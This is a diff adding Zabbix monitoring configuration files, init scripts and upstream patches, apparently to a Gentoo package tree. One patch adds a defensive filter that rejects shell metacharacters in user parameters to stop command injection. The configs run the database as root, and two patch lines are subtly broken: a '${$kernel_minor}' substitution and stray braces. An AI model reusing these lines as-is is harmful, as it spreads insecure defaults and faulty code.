+++ b/net-analyzer/zabbix/files/1.6.6/zabbix_agentd.conf
@@ -0,0 +1,90 @@
+# This is config file for zabbix_agentd
+# To get more information about ZABBIX, go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# List of comma delimited IP addresses (or hostnames) of ZABBIX servers.
+# No spaces allowed. First entry is used for sending active checks.
+# Note that hostnames must resolve hostname->IP address and
+# IP address->hostname.
+
+Server=127.0.0.1
+
+# Server port for sending active checks
+
+#ServerPort=10051
+
+# Unique hostname. Required for active checks.
+
+Hostname=ZABBIX Server
+
+# Listen port. Default is 10050
+
+#ListenPort=10050
+
+# IP address to bind agent
+# If missing, bind to all available IPs
+
+#ListenIP=127.0.0.1
+
+# Source IP address for outgouing connections
+#SourceIP=
+
+# Number of pre-forked instances of zabbix_agentd.
+# Default value is 5
+# This parameter must be between 1 and 16
+
+StartAgents=5
+
+# How often refresh list of active checks. 2 minutes by default.
+
+#RefreshActiveChecks=120
+
+# Disable active checks. The agent will work in passive mode listening server.
+
+#DisableActive=1
+
+# Enable remote commands for ZABBIX agent. By default remote commands disabled.
+
+#EnableRemoteCommands=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+
+DebugLevel=3
+
+# Name of PID file
+
+PidFile=/var/run/zabbix/zabbix_agentd.pid
+
+# Name of log file.
+# If not set, syslog will be used
+
+LogFile=/var/log/zabbix/zabbix_agentd.log
+
+# Maximum size of log file in MB. Set to 0 to disable automatic log rotation.
+#LogFileSize=1
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+
+Timeout=3
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+# Format: UserParameter=<key>,<shell command>
+# Note that shell command must not return empty string or EOL only
+#UserParameter=system.test,who|wc -l
+### Set of parameter for monitoring MySQL server (v3.23.42 and later)
+### Change -u<username> and add -p<password> if required
+#UserParameter=mysql.ping,mysqladmin -uroot ping|grep alive|wc -l
+#UserParameter=mysql.uptime,mysqladmin -uroot status|cut -f2 -d":"|cut -f1 -d"T"
+#UserParameter=mysql.threads,mysqladmin -uroot status|cut -f3 -d":"|cut -f1 -d"Q"
+#UserParameter=mysql.questions,mysqladmin -uroot status|cut -f4 -d":"|cut -f1 -d"S"
+#UserParameter=mysql.slowqueries,mysqladmin -uroot status|cut -f5 -d":"|cut -f1 -d"O"
+#UserParameter=mysql.qps,mysqladmin -uroot status|cut -f9 -d":"
+#UserParameter=mysql.version,mysql -V
+
diff --git a/net-analyzer/zabbix/files/1.6.6/zabbix_proxy.conf b/net-analyzer/zabbix/files/1.6.6/zabbix_proxy.conf
new file mode 100644
index 000000000000..e0380d4fab7c
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/zabbix_proxy.conf
@@ -0,0 +1,175 @@
+# This is config file for ZABBIX server process
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# IP address (or hostname) of ZABBIX servers.
+
+Server=127.0.0.1
+
+# Server port for sending active checks
+
+ServerPort=10051
+
+# Unique hostname.
+
+Hostname=proxy
+
+# Number of pre-forked instances of pollers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartPollers=5
+
+# Number of pre-forked instances of IPMI pollers
+# Default value is 0
+# This parameter must be between 0 and 255
+#StartIPMIPollers=0
+
+# Number of pre-forked instances of pollers for unreachable hosts
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPollersUnreachable=1
+
+# Number of pre-forked instances of trappers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartTrappers=5
+
+# Number of pre-forked instances of ICMP pingers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPingers=1
+
+# Number of pre-forked instances of discoverers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartDiscoverers=1
+
+# Number of pre-forked instances of HTTP pollers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartHTTPPollers=1
+
+# Listen port for trapper. Default port number is 10051. This parameter
+# must be between 1024 and 32767
+#ListenPort=10051
+
+# Source IP address for outgouing connections
+#SourceIP=
+
+# Listen interface for trapper. Trapper will listen all network interfaces
+# if this parameter is missing.
+#ListenIP=127.0.0.1
+
+# How often ZABBIX will perform sending hearbeat message
+# (in seconds)
+# Default value is 60 seconds
+# Set to 0 to disable heartbeat messages
+# This parameter must be between 0 and 3600
+#HeartbeatFrequency=60
+
+# How often ZABBIX will perform sync configuration data
+# (in seconds)
+# Default value is 3600 seconds (1h)
+# This parameter must be between 1 and 604800 (1 week)
+#ConfigFrequency=3600
+
+# How often ZABBIX will perform housekeeping procedure
+# (in hours)
+# Default value is 1 hour
+# Housekeeping is removing unnecessary information from
+# tables history, alert, and alarms
+# This parameter must be between 1 and 24
+#HousekeepingFrequency=1
+
+# How often ZABBIX will try to send unsent alerts
+# (in seconds)
+# Default value is 30 seconds
+#SenderFrequency=30
+
+# Local bufer size in hours. Proxy will keep collected data N hours.
+# Default value is 0 hours
+#ProxyLocalBuffer=0
+
+# Offline buffer size in hours. It is used when server is not available.
+# Older data is removed.
+# Default value is 1 hours
+#ProxyOfflineBuffer=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+#DebugLevel=3
+
+# Specifies how long we wait for agent response (in sec)
+# Must be between 1 and 30
+Timeout=5
+
+# Specifies how many seconds trapper may spend processing new data
+# Must be between 1 and 30
+#TrapperTimeout=5
+
+# After how many seconds of unreachability treat a host as unavailable
+#UnreachablePeriod=45
+
+# How ofter check host for availability during the unreachability period
+#UnavailableDelay=15
+
+# How ofter check host for availability during the unavailability period
+#UnavailableDelay=60
+
+# Name of PID file
+PidFile=/var/run/zabbix/zabbix_proxy.pid
+
+# Name of log file
+# If not set, syslog is used
+LogFile=/var/log/zabbix/zabbix_proxy.log
+
+# Maximum size of log file in MB. Set to 0 to disable automatic log rotation.
+#LogFileSize=1
+
+# Location for custom alert scripts
+AlertScriptsPath=/home/zabbix/bin/
+
+# Location of external scripts
+#ExternalScripts=/etc/zabbix/externalscripts
+
+# Location of 'fping. Default is /usr/sbin/fping
+# Make sure that fping binary has root permissions and SUID flag set
+#FpingLocation=/usr/sbin/fping
+
+# Location of fping6. Default is /usr/sbin/fping6
+# Make sure that fping binary has root permissions and SUID flag set
+#Fping6Location=/usr/sbin/fping6
+
+# Temporary directory. Default is /tmp
+#TmpDir=/tmp
+
+# Frequency of ICMP pings (item keys 'icmpping' and 'icmppingsec'). Defauls is 60 seconds.
+#PingerFrequency=60
+
+# Database host name
+# Default is localhost
+
+#DBHost=localhost
+
+# Database name
+# SQLite3 note: path to database file must be provided. DBUser and DBPassword are ignored.
+DBName=proxy
+
+# Database user
+
+DBUser=root
+
+# Database password
+# Comment this line if no password used
+
+#DBPassword=<password>
+
+# Connect to MySQL using Unix socket?
+
+#DBSocket=/var/run/mysqld/mysqld.sock
diff --git a/net-analyzer/zabbix/files/1.6.6/zabbix_server.conf b/net-analyzer/zabbix/files/1.6.6/zabbix_server.conf
new file mode 100644
index 000000000000..63f14c5de83a
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/zabbix_server.conf
@@ -0,0 +1,155 @@
+# This is config file for ZABBIX server process
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# This defines unique NodeID in distributed setup,
+# Default value 0 (standalone server)
+# This parameter must be between 0 and 999
+#NodeID=0
+
+# Number of pre-forked instances of pollers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartPollers=5
+
+# Number of pre-forked instances of IPMI pollers
+# Default value is 0
+# This parameter must be between 0 and 255
+#StartIPMIPollers=0
+
+# Number of pre-forked instances of pollers for unreachable hosts
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPollersUnreachable=1
+
+# Number of pre-forked instances of trappers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartTrappers=5
+
+# Number of pre-forked instances of ICMP pingers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPingers=1
+
+# Number of pre-forked instances of discoverers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartDiscoverers=1
+
+# Number of pre-forked instances of HTTP pollers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartHTTPPollers=1
+
+# Listen port for trapper. Default port number is 10051. This parameter
+# must be between 1024 and 32767
+
+#ListenPort=10051
+
+# Source IP address for outgouing connections
+#SourceIP=
+
+# Listen interface for trapper. Trapper will listen all network interfaces
+# if this parameter is missing.
+
+#ListenIP=127.0.0.1
+
+# How often ZABBIX will perform housekeeping procedure
+# (in hours)
+# Default value is 1 hour
+# Housekeeping is removing unnecessary information from
+# tables history, alert, and alarms
+# This parameter must be between 1 and 24
+
+#HousekeepingFrequency=1
+
+# How often ZABBIX will try to send unsent alerts
+# (in seconds)
+# Default value is 30 seconds
+SenderFrequency=30
+
+# Uncomment this line to disable housekeeping procedure
+#DisableHousekeeping=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+
+DebugLevel=3
+
+# Specifies how long we wait for agent response (in sec)
+# Must be between 1 and 30
+Timeout=5
+
+# Specifies how many seconds trapper may spend processing new data
+# Must be between 1 and 30
+#TrapperTimeout=5
+
+# After how many seconds of unreachability treat a host as unavailable
+#UnreachablePeriod=45
+
+# How ofter check host for availability during the unreachability period
+#UnavailableDelay=15
+
+# How ofter check host for availability during the unavailability period
+#UnavailableDelay=60
+
+# Name of PID file
+
+PidFile=/var/run/zabbix/zabbix_server.pid
+
+# Name of log file
+# If not set, syslog is used
+
+LogFile=/var/log/zabbix/zabbix_server.log
+
+# Maximum size of log file in MB. Set to 0 to disable automatic log rotation.
+#LogFileSize=1
+
+# Location for custom alert scripts
+AlertScriptsPath=/home/zabbix/bin/
+
+# Location of external scripts
+#ExternalScripts=/etc/zabbix/externalscripts
+
+# Location of fping. Default is /usr/sbin/fping
+# Make sure that fping binary has root permissions and SUID flag set
+#FpingLocation=/usr/sbin/fping
+
+# Location of fping6. Default is /usr/sbin/fping6
+# Make sure that fping binary has root permissions and SUID flag set
+#Fping6Location=/usr/sbin/fping6
+
+# Temporary directory. Default is /tmp
+#TmpDir=/tmp
+
+# Frequency of ICMP pings (item keys 'icmpping' and 'icmppingsec'). Defauls is 60 seconds.
+#PingerFrequency=60
+
+# Database host name
+# Default is localhost
+
+#DBHost=localhost
+
+# Database name
+# SQLite3 note: path to database file must be provided. DBUser and DBPassword are ignored.
+DBName=zabbix
+
+# Database user
+
+DBUser=root
+
+# Database password
+# Comment this line if no password used
+
+#DBPassword=<password>
+
+# Connect to MySQL using Unix socket?
+
+#DBSocket=/var/run/mysqld/mysqld.sock
diff --git a/net-analyzer/zabbix/files/1.6.6/zabbix_trapper.conf b/net-analyzer/zabbix/files/1.6.6/zabbix_trapper.conf
new file mode 100644
index 000000000000..8bbe0f99a8cf
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/zabbix_trapper.conf
@@ -0,0 +1,44 @@
+# This is config file for zabbix_trapper
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# Specifies debug level
+# 1 - critical information
+# 2 - warnings (default)
+# 3 - for debugging (produces lots of information)
+
+DebugLevel=2
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+
+Timeout=3
+
+# Name of log file
+# If not set, syslog will be used
+
+LogFile=/tmp/zabbix_trapper.log
+
+# Database host name
+# Default is localhost
+
+#DBHost=localhost
+
+# Database name
+
+DBName=zabbix
+
+# Database user
+
+DBUser=root
+
+# Database password
+# Comment this line if no password used
+
+#DBPassword=<password>
+
+# Connect to MySQL usig Unix socket?
+
+#DBSocket=/var/run/mysqld/mysqld.sock
diff --git a/net-analyzer/zabbix/files/2.0/init.d/zabbix-agentd b/net-analyzer/zabbix/files/2.0/init.d/zabbix-agentd
new file mode 100644
index 000000000000..fc21ec9dddaf
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/init.d/zabbix-agentd
@@ -0,0 +1,29 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/var/run/zabbix/zabbix_agentd.pid"
+
+depend() {
+ need net
+ provide zabbix-agent
+ use zabbix-server
+}
+
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /var/run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix agent"
+ start-stop-daemon --start --pidfile ${pid_file} \
+ --user zabbix --group zabbix --exec /usr/sbin/zabbix_agentd -- -c /etc/zabbix/zabbix_agentd.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix agent"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.0/init.d/zabbix-proxy b/net-analyzer/zabbix/files/2.0/init.d/zabbix-proxy
new file mode 100644
index 000000000000..a16d391385a1
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/init.d/zabbix-proxy
@@ -0,0 +1,28 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/var/run/zabbix/zabbix_proxy.pid"
+
+depend() {
+ need net
+ provide zabbix-proxy
+}
+
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /var/run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix proxy"
+ start-stop-daemon --start --pidfile ${pid_file} \
+ --user zabbix --group zabbix --exec /usr/sbin/zabbix_proxy -- -c /etc/zabbix/zabbix_proxy.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix proxy"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.0/init.d/zabbix-server b/net-analyzer/zabbix/files/2.0/init.d/zabbix-server
new file mode 100644
index 000000000000..0a3096e584ee
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/init.d/zabbix-server
@@ -0,0 +1,27 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/var/run/zabbix/zabbix_server.pid"
+
+depend() {
+ need net
+ use mysql postgresql
+}
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /var/run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix server"
+ start-stop-daemon --start --user zabbix --group zabbix --pidfile ${pid_file} \
+ --exec /usr/sbin/zabbix_server -- -c /etc/zabbix/zabbix_server.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix server"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.0/patches/zbx282.patch b/net-analyzer/zabbix/files/2.0/patches/zbx282.patch
new file mode 100644
index 000000000000..4f8ed94c2bd3
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/patches/zbx282.patch
@@ -0,0 +1,182 @@
+--- configure.in 2013-02-12 04:27:27.000000000 -0700
++++ configure.in 2013-05-03 07:59:46.318882346 -0600
+@@ -903,19 +903,32 @@
+ AC_MSG_CHECKING([for the linux kernel version])
+
+ kernel=`uname -r`
++ kernel_major=`uname -r|cut -d. -f1`
++ kernel_minor=`uname -r|cut -d. -f2`
+
+- case "${kernel}" in
+- 2.6.*)
+- AC_MSG_RESULT([2.6 family (${kernel})])
+- AC_DEFINE([KERNEL_2_6], 1, [Define to 1 if you are using Linux 2.6.x])
+- ;;
+- 2.4.*)
+- AC_MSG_RESULT([2.4 family (${kernel})])
+- AC_DEFINE([KERNEL_2_4], 1, [Define to 1 if you are using Linux 2.4.x])
+- ;;
+- *)
+- AC_MSG_RESULT([unknown family (${kernel})])
+- ;;
++ case "${kernel_major}" in
++ 2)
++ case "${$kernel_minor}" in
++ 6)
++ AC_MSG_RESULT([Linux Kernel >= 2.6.x family (${kernel})])
++ AC_DEFINE([KERNEL_2_6_Xplus], 1, [Define to 1 if you are using Linux >= 2.6.x])
++ ;;
++ 4)
++ AC_MSG_RESULT([2.4 family (${kernel})])
++ AC_DEFINE([KERNEL_2_4], 1, [Define to 1 if you are using Linux 2.4.x])
++ ;;
++ esac
++ ;;
++ 1)
++ echo
++ ;;
++ 0)
++ echo
++ ;;
++ *)
++ AC_MSG_RESULT([Linux Kernel >= 2.6.x family (${kernel})])
++ AC_DEFINE([KERNEL_2_6_Xplus], 1, [Define to 1 if you are using Linux >= 2.6.x])
++ ;;
+ esac
+ fi
+
+--- include/config.h.in 2013-02-12 04:27:41.000000000 -0700
++++ include/config.h.in 2013-05-03 07:47:39.658588709 -0600
+@@ -507,8 +507,8 @@
+ /* Define to 1 if you are using Linux 2.4.x */
+ #undef KERNEL_2_4
+
+-/* Define to 1 if you are using Linux 2.6.x */
+-#undef KERNEL_2_6
++/* Define to 1 if you are using Linux >= 2.6.x */
++#undef KERNEL_2_6_Xplus
+
+ /* Define to 1 if LDAP depricated functions is used. */
+ #undef LDAP_DEPRECATED
+
+--- src/libs/zbxsysinfo/linux/sensors.c 2013-02-12 04:27:22.000000000 -0700
++++ src/libs/zbxsysinfo/linux/sensors.c 2013-05-03 07:47:39.658588709 -0600
+@@ -20,14 +20,21 @@
+ #include "common.h"
+ #include "sysinfo.h"
+
+-#ifdef KERNEL_2_4
++#if defined(KERNEL_2_4) || defined(KERNEL_2_6_Xplus)
+
+ #define DO_ONE 0
+ #define DO_AVG 1
+ #define DO_MAX 2
+ #define DO_MIN 3
+
++#if defined(KERNEL_2_4)
+ #define DEVICE_DIR "/proc/sys/dev/sensors"
++#endif
++
++#if defined(KERNEL_2_6_Xplus)
++#define DEVICE_DIR "/sys/class/hwmon"
++#define EXTRA "device"
++#endif
+
+ static void count_sensor(int do_task, const char *filename, double *aggr, int *cnt)
+ {
+@@ -46,9 +53,17 @@
+
+ zbx_fclose(f);
+
+- if (1 == sscanf(line, "%*f\t%*f\t%lf\n", &value))
++#if defined(KERNEL_2_6_Xplus)
++ if (1 == sscanf(line, "%lf", &value))
++#else
++ if (1 == sscanf(line, "%*lf\t%*lf\t%lf\n", &value))
++#endif
+ {
+ (*cnt)++;
++#if defined(KERNEL_2_6_Xplus)
++ if(NULL == strstr(filename, "fan"))
++ value = value / 1000;
++#endif
+
+ switch (do_task)
+ {
+@@ -70,11 +85,35 @@
+
+ static void get_device_sensors(int do_task, const char *device, const char *name, double *aggr, int *cnt)
+ {
++#if defined(KERNEL_2_6_Xplus)
++ struct stat buffer;
++ int use_extra = 0;
++#endif
+ char sensorname[MAX_STRING_LEN];
++ char sensortest[MAX_STRING_LEN];
++
++#if defined(KERNEL_2_6_Xplus)
++ zbx_snprintf(sensortest, sizeof(sensortest), "%s/%s/name", DEVICE_DIR, device);
++ if(stat(sensortest, &buffer) != 0)
++ {
++ zbx_snprintf(sensortest, sizeof(sensortest), "%s/%s/device/name", DEVICE_DIR, device);
++ if(stat(sensortest, &buffer) == 0)
++ {
++ use_extra = 1;
++ }
++ }
++#endif
+
+ if (DO_ONE == do_task)
+ {
++#if defined(KERNEL_2_6_Xplus)
++ if(use_extra)
++ zbx_snprintf(sensorname, sizeof(sensorname), "%s/%s/%s/%s_input", DEVICE_DIR, device, EXTRA, name);
++ else
++ zbx_snprintf(sensorname, sizeof(sensorname), "%s/%s/%s_input", DEVICE_DIR, device, name);
++#else
+ zbx_snprintf(sensorname, sizeof(sensorname), "%s/%s/%s", DEVICE_DIR, device, name);
++#endif
+ count_sensor(do_task, sensorname, aggr, cnt);
+ }
+ else
+@@ -94,7 +133,14 @@
+ if (NULL == zbx_regexp_match(deviceent->d_name, device, NULL))
+ continue;
+
++#if defined(KERNEL_2_6_Xplus)
++ if(use_extra)
++ zbx_snprintf(devicename, sizeof(devicename), "%s/%s/%s", DEVICE_DIR, deviceent->d_name, EXTRA);
++ else
++ zbx_snprintf(devicename, sizeof(devicename), "%s/%s", DEVICE_DIR, deviceent->d_name);
++#else
+ zbx_snprintf(devicename, sizeof(devicename), "%s/%s", DEVICE_DIR, deviceent->d_name);
++#endif
+
+ if (NULL == (sensordir = opendir(devicename)))
+ continue;
+@@ -107,7 +153,19 @@
+ if (NULL == zbx_regexp_match(sensorent->d_name, name, NULL))
+ continue;
+
++#if defined(KERNEL_2_6_Xplus)
++ if (0 != strcmp(sensorent->d_name + strlen(sensorent->d_name) - 6, "_input"))
++ continue;
++#endif
++
++#if defined(KERNEL_2_6_Xplus)
++ if(use_extra)
++ zbx_snprintf(sensorname, sizeof(sensorname), "%s/%s/%s", devicename, sensorent->d_name, EXTRA);
++ else
++ zbx_snprintf(sensorname, sizeof(sensorname), "%s/%s", devicename, sensorent->d_name);
++#else
+ zbx_snprintf(sensorname, sizeof(sensorname), "%s/%s", devicename, sensorent->d_name);
++#endif
+ count_sensor(do_task, sensorname, aggr, cnt);
+ }
+ closedir(sensordir);
+@@ -162,4 +220,4 @@
+ return SYSINFO_RET_FAIL;
+ }
+
+-#endif /* KERNEL_2_4 */
++#endif /* KERNEL_2_4 || KERNEL_2_6_Xplus */
diff --git a/net-analyzer/zabbix/files/2.0/patches/zbx6097.patch b/net-analyzer/zabbix/files/2.0/patches/zbx6097.patch
new file mode 100644
index 000000000000..65d92a873f8e
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/patches/zbx6097.patch
@@ -0,0 +1,66 @@
+Index: frontends/php/authentication.php
+===================================================================
+--- frontends/php/authentication.php (revision 32376)
++++ frontends/php/authentication.php (revision 32393)
+@@ -101,12 +101,11 @@
+ $config['authentication_type'] = $_REQUEST['config'];
+
+ // check login/password
+- $login = API::User()->ldapLogin(array(
+- 'user' => get_request('user', $USER_DETAILS['alias']),
+- 'password' => get_request('user_password', ''),
+- 'cnf' => $ldap_cnf
+- ));
++ $ldap = new CLdap($ldap_cnf);
++ $ldap->connect();
++ $login = $ldap->checkPass(get_request('user', $USER_DETAILS['alias']), get_request('user_password', ''));
+ if (!$login) {
++ error(_('Login name or password is incorrect'));
+ throw new Exception();
+ }
+
+@@ -129,12 +128,13 @@
+ }
+ elseif (isset($_REQUEST['test'])) {
+ // check login/password
+- $result = API::User()->ldapLogin(array(
+- 'user' => get_request('user', $USER_DETAILS['alias']),
+- 'password' => get_request('user_password', ''),
+- 'cnf' => $ldap_cnf
+- ));
++ $ldap = new CLdap($ldap_cnf);
++ $ldap->connect();
++ $result = $ldap->checkPass(get_request('user', $USER_DETAILS['alias']), get_request('user_password', ''));
+
++ if (!$result)
++ error(_('Login name or password is incorrect'));{
++ }
+ show_messages($result, _('LDAP login successful'), _('LDAP login was not successful'));
+ }
+ }
+Index: frontends/php/api/classes/CUser.php
+===================================================================
+--- frontends/php/api/classes/CUser.php (revision 32376)
++++ frontends/php/api/classes/CUser.php (revision 32393)
+@@ -822,15 +822,12 @@
+ // ******************************************************************************
+ // LOGIN Methods
+ // ******************************************************************************
+- public function ldapLogin($user) {
+- $cnf = isset($user['cnf']) ? $user['cnf'] : null;
+-
+- if (is_null($cnf)) {
+- $config = select_config();
+- foreach ($config as $id => $value) {
+- if (zbx_strpos($id, 'ldap_') !== false) {
+- $cnf[str_replace('ldap_', '', $id)] = $config[$id];
+- }
++ protected function ldapLogin($user) {
++ $config = select_config();
++ $cnf = array();
++ foreach ($config as $id => $value) {
++ if (zbx_strpos($id, 'ldap_') !== false) {
++ $cnf[str_replace('ldap_', '', $id)] = $config[$id];
+ }
+ }
+
diff --git a/net-analyzer/zabbix/files/2.0/patches/zbx7479.patch b/net-analyzer/zabbix/files/2.0/patches/zbx7479.patch
new file mode 100644
index 000000000000..52cabd4750ea
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/patches/zbx7479.patch
@@ -0,0 +1,83 @@
+Index: src/libs/zbxsysinfo/sysinfo.c
+===================================================================
+--- src/libs/zbxsysinfo/sysinfo.c (revision 40346)
++++ src/libs/zbxsysinfo/sysinfo.c (working copy)
+@@ -267,13 +267,49 @@
+ test_parameter(commands[i].key, PROCESS_TEST | PROCESS_USE_TEST_PARAM);
+ }
+
++static int zbx_check_user_parameter(const char *param, char *error, int max_error_len)
++{
++ const char suppressed_chars[] = "\\'\"`*?[]{}~$!&;()<>|#@\n", *c;
++ char *buf = NULL;
++ size_t buf_alloc = 128, buf_offset = 0;
++
++ if (0 != CONFIG_UNSAFE_USER_PARAMETERS)
++ return SUCCEED;
++
++ for (c = suppressed_chars; '\0' != *c; c++)
++ {
++ if (NULL == strchr(param, *c))
++ continue;
++
++ buf = zbx_malloc(buf, buf_alloc);
++
++ for (c = suppressed_chars; '\0' != *c; c++)
++ {
++ if (c != suppressed_chars)
++ zbx_strcpy_alloc(&buf, &buf_alloc, &buf_offset, ", ");
++
++ if (0 != isprint(*c))
++ zbx_chrcpy_alloc(&buf, &buf_alloc, &buf_offset, *c);
++ else
++ zbx_snprintf_alloc(&buf, &buf_alloc, &buf_offset, "0x%02x", *c);
++ }
++
++ zbx_snprintf(error, max_error_len, "special characters \"%s\" are not allowed in the parameters", buf);
++
++ zbx_free(buf);
++
++ return FAIL;
++ }
++
++ return SUCCEED;
++}
++
+ static int replace_param(const char *cmd, const char *param, char *out, int outlen, char *error, int max_error_len)
+ {
+ int ret = SUCCEED;
+ char buf[MAX_STRING_LEN];
+ char command[MAX_STRING_LEN];
+ char *pl, *pr;
+- const char suppressed_chars[] = "\\'\"`*?[]{}~$!&;()<>|#@", *c;
+
+ assert(out);
+
+@@ -305,25 +341,10 @@
+ {
+ get_param(param, (int)(pr[1] - '0'), buf, sizeof(buf));
+
+- if (0 == CONFIG_UNSAFE_USER_PARAMETERS)
+- {
+- for (c = suppressed_chars; '\0' != *c; c++)
+- {
+- if (NULL != strchr(buf, *c))
+- {
+- zbx_snprintf(error, max_error_len, "Special characters '%s'"
+- " are not allowed in the parameters",
+- suppressed_chars);
+- ret = FAIL;
+- break;
+- }
+- }
+- }
++ if (SUCCEED != (ret = zbx_check_user_parameter(buf, error, max_error_len)))
++ break;
+ }
+
+- if (FAIL == ret)
+- break;
+-
+ zbx_strlcat(out, buf, outlen);
+ outlen -= MIN((int)strlen(buf), (int)outlen);
+
diff --git a/net-analyzer/zabbix/files/2.0/zabbix_proxy.conf b/net-analyzer/zabbix/files/2.0/zabbix_proxy.conf
new file mode 100644
index 000000000000..21eed90f2461
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.0/zabbix_proxy.conf
@@ -0,0 +1,463 @@
+# This is a configuration file for Zabbix Proxy process
+# To get more information about Zabbix,
+# visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: ProxyMode
+# Proxy operating mode
+# 0 - proxy in the active mode
+# 1 - proxy in the passive mode
+#
+# Mandatory: no
+# Default:
+# ProxyMode=0
+
+### Option: Server
+# IP address (or hostname) of Zabbix server.
+# Active proxy will get configuration data from the server.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: yes (if ProxyMode is set to 0)
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+### Option: ServerPort
+# Port of Zabbix trapper on Zabbix server.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ServerPort=10051
+
+### Option: Hostname
+# Unique, case sensitive Proxy name. Make sure the Proxy name is known to the server!
+# Value is acquired from HostnameItem if undefined.
+#
+# Mandatory: no
+# Default:
+# Hostname=
+
+Hostname=proxy
+
+### Option: HostnameItem
+# Item used for generating Hostname if it is undefined.
+# Ignored if Hostname is defined.
+#
+# Mandatory: no
+# Default:
+# HostnameItem=system.hostname
+
+### Option: ListenPort
+# Listen port for trapper.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ListenPort=10051
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_proxy.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+# LogFileSize=1
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+# PidFile=/tmp/zabbix_proxy.pid
+
+### Option: DBHost
+# Database host name.
+# If set to localhost, socket is used for MySQL.
+# If set to empty string, socket is used for PostgreSQL.
+#
+# Mandatory: no
+# Default:
+# DBHost=localhost
+
+### Option: DBName
+# Database name.
+# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
+# Warning: do not attempt to use the same database Zabbix server is using.
+#
+# Mandatory: yes
+# Default:
+# DBName=
+
+DBName=zabbix_proxy
+
+### Option: DBSchema
+# Schema name. Used for IBM DB2.
+#
+# Mandatory: no
+# Default:
+# DBSchema=
+
+### Option: DBUser
+# Database user. Ignored for SQLite.
+#
+# Default:
+# DBUser=
+
+DBUser=zabbix
+
+### Option: DBPassword
+# Database password. Ignored for SQLite.
+# Comment this line if no password is used.
+#
+# Mandatory: no
+# Default:
+# DBPassword=
+
+### Option: DBSocket
+# Path to MySQL socket.
+#
+# Mandatory: no
+# Default:
+# DBSocket=/tmp/mysql.sock
+
+# Option: DBPort
